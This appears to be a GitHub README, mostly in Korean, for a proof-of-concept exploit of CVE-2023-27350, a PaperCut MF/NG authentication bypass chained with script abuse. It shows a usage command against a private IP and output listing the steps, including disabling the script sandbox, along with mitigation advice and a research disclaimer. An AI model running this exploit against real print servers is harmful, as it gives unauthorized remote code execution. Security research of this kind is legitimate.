royall-researchers/cve-2023-27350Papercut 취약점, 영향을 받는 버전은 PaperCut MF 또는 NG 버전 8.0 이상 (패치된 버전 제외)이며 모든 OS 플랫폼에서 해당됩니다.
PaperCut MF/NG에 영향을 미치는 CVE-2023-27350에 대한 POC
##Affected Versions 'PaperCut MF or NG version 8.0 or later (excluding patched versions) on all OS platforms.'
이 POC는 인증 우회 취약점을 내장 스크립팅 기능의 악용과 연계하여 코드를 실행합니다.
python3 CVE-2023-27350.py --url 'http://10.0.40.56:9191' --command calc.exe
[*] Papercut instance is vulnerable! Obtained valid JSESSIONID
[*] Updating print-and-device.script.enabled to Y
[*] Updating print.script.sandboxed to N
[*] Prepparing to execute...
[+] Executed successfully!
[*] Updating print-and-device.script.enabled to N
[*] Updating print.script.sandboxed to Y
최신 버전으로 업데이트하거나 PaperCut 보안 권고의 지침에 따라 완화하십시오.
이 소프트웨어는 순수하게 학술 연구 목적과 효과적인 방어 기술 개발을 위해 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템 공격에 사용하도록 의도되지 않았습니다. 프로젝트 유지 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.